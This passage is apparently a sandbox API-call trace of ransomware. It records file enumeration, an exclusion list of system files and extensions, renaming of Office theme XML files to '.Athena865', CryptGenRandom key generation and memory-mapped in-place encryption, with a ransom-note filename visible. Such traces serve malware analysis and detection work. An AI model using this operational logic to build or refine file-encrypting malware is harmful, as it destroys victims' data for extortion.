dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10d0, lpName=0x0) returned 0x17c [0137.588] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10d0) returned 0x100000 [0137.588] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.589] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.589] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.590] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.590] CloseHandle (hObject=0x17c) returned 1 [0137.590] CloseHandle (hObject=0x154) returned 1 [0137.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.590] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0137.590] lstrcmpiW (lpString1="Couture.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.590] lstrcmpiW (lpString1="Couture.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.590] lstrcmpiW (lpString1="Couture.xml", lpString2=".") returned 1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="..") returned 1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="windows") returned -1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgr") returned 1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="temp") returned -1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="pagefile.sys") returned -1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="boot") returned 1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="ids.txt") returned -1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.dat") returned -1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="perflogs") returned -1 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2="MSBuild") returned -1 [0137.591] lstrlenW (lpString="Couture.xml") returned 11 [0137.591] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Couture.xml" | out: lpString1="Couture.xml") returned="Couture.xml" [0137.591] lstrlenW (lpString="Couture.xml") returned 11 [0137.591] lstrlenW (lpString="Athena865") returned 9 [0137.591] lstrcmpiW (lpString1="uture.xml", lpString2="Athena865") returned 1 [0137.591] lstrlenW (lpString=".dll") returned 4 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2=".dll") returned 1 [0137.591] lstrlenW (lpString=".lnk") returned 4 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2=".lnk") returned 1 [0137.591] lstrlenW (lpString=".ini") returned 4 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2=".ini") returned 1 [0137.591] lstrlenW (lpString=".sys") returned 4 [0137.591] lstrcmpiW (lpString1="Couture.xml", lpString2=".sys") returned 1 [0137.591] lstrlenW (lpString="Couture.xml") returned 11 [0137.591] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.Athena865") returned 86 [0137.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.athena865"), dwFlags=0x1) returned 1 [0137.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.594] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3836) returned 1 [0137.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.594] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.595] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.595] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.595] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x17c [0137.597] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000 [0137.598] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.598] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.598] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.599] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.599] CloseHandle (hObject=0x17c) returned 1 [0137.599] CloseHandle (hObject=0x154) returned 1 [0137.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.600] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2=".") returned 1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="..") returned 1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="windows") returned -1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootmgr") returned 1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="temp") returned -1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="pagefile.sys") returned -1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="boot") returned 1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="ids.txt") returned -1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntuser.dat") returned -1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="perflogs") returned -1 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2="MSBuild") returned -1 [0137.600] lstrlenW (lpString="Elemental.xml") returned 13 [0137.600] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Elemental.xml" | out: lpString1="Elemental.xml") returned="Elemental.xml" [0137.600] lstrlenW (lpString="Elemental.xml") returned 13 [0137.600] lstrlenW (lpString="Athena865") returned 9 [0137.600] lstrcmpiW (lpString1="ental.xml", lpString2="Athena865") returned 1 [0137.600] lstrlenW (lpString=".dll") returned 4 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2=".dll") returned 1 [0137.600] lstrlenW (lpString=".lnk") returned 4 [0137.600] lstrcmpiW (lpString1="Elemental.xml", lpString2=".lnk") returned 1 [0137.601] lstrlenW (lpString=".ini") returned 4 [0137.601] lstrcmpiW (lpString1="Elemental.xml", lpString2=".ini") returned 1 [0137.601] lstrlenW (lpString=".sys") returned 4 [0137.601] lstrcmpiW (lpString1="Elemental.xml", lpString2=".sys") returned 1 [0137.601] lstrlenW (lpString="Elemental.xml") returned 13 [0137.601] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.Athena865") returned 88 [0137.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.athena865"), dwFlags=0x1) returned 1 [0137.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.602] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3656) returned 1 [0137.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.603] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.603] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.603] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.604] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1150, lpName=0x0) returned 0x17c [0137.605] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1150) returned 0x100000 [0137.606] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.607] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.607] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.607] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.608] CloseHandle (hObject=0x17c) returned 1 [0137.608] CloseHandle (hObject=0x154) returned 1 [0137.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.608] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2=".") returned 1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="..") returned 1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="windows") returned -1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="bootmgr") returned 1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="temp") returned -1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="pagefile.sys") returned -1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="boot") returned 1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="ids.txt") returned -1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="ntuser.dat") returned -1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="perflogs") returned -1 [0137.608] lstrcmpiW (lpString1="Equity.xml", lpString2="MSBuild") returned -1 [0137.608] lstrlenW (lpString="Equity.xml") returned 10 [0137.608] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Equity.xml" | out: lpString1="Equity.xml") returned="Equity.xml" [0137.609] lstrlenW (lpString="Equity.xml") returned 10 [0137.609] lstrlenW (lpString="Athena865") returned 9 [0137.609] lstrcmpiW (lpString1="quity.xml", lpString2="Athena865") returned 1 [0137.609] lstrlenW (lpString=".dll") returned 4 [0137.609] lstrcmpiW (lpString1="Equity.xml", lpString2=".dll") returned 1 [0137.609] lstrlenW (lpString=".lnk") returned 4 [0137.609] lstrcmpiW (lpString1="Equity.xml", lpString2=".lnk") returned 1 [0137.609] lstrlenW (lpString=".ini") returned 4 [0137.609] lstrcmpiW (lpString1="Equity.xml", lpString2=".ini") returned 1 [0137.609] lstrlenW (lpString=".sys") returned 4 [0137.609] lstrcmpiW (lpString1="Equity.xml", lpString2=".sys") returned 1 [0137.609] lstrlenW (lpString="Equity.xml") returned 10 [0137.609] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.Athena865") returned 85 [0137.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.athena865"), dwFlags=0x1) returned 1 [0137.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.611] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3829) returned 1 [0137.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.611] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.612] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.612] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.612] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x17c [0137.613] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000 [0137.614] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.615] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.615] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.616] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.616] CloseHandle (hObject=0x17c) returned 1 [0137.616] CloseHandle (hObject=0x154) returned 1 [0137.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.616] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0137.616] lstrcmpiW (lpString1="Essential.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2=".") returned 1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="..") returned 1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="windows") returned -1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="bootmgr") returned 1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="temp") returned -1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="pagefile.sys") returned -1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="boot") returned 1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="ids.txt") returned -1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="ntuser.dat") returned -1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="perflogs") returned -1 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2="MSBuild") returned -1 [0137.617] lstrlenW (lpString="Essential.xml") returned 13 [0137.617] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Essential.xml" | out: lpString1="Essential.xml") returned="Essential.xml" [0137.617] lstrlenW (lpString="Essential.xml") returned 13 [0137.617] lstrlenW (lpString="Athena865") returned 9 [0137.617] lstrcmpiW (lpString1="ntial.xml", lpString2="Athena865") returned 1 [0137.617] lstrlenW (lpString=".dll") returned 4 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2=".dll") returned 1 [0137.617] lstrlenW (lpString=".lnk") returned 4 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2=".lnk") returned 1 [0137.617] lstrlenW (lpString=".ini") returned 4 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2=".ini") returned 1 [0137.617] lstrlenW (lpString=".sys") returned 4 [0137.617] lstrcmpiW (lpString1="Essential.xml", lpString2=".sys") returned 1 [0137.617] lstrlenW (lpString="Essential.xml") returned 13 [0137.618] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.Athena865") returned 88 [0137.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.athena865"), dwFlags=0x1) returned 1 [0137.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.619] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3606) returned 1 [0137.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.619] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.620] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.620] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.621] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.622] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.623] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 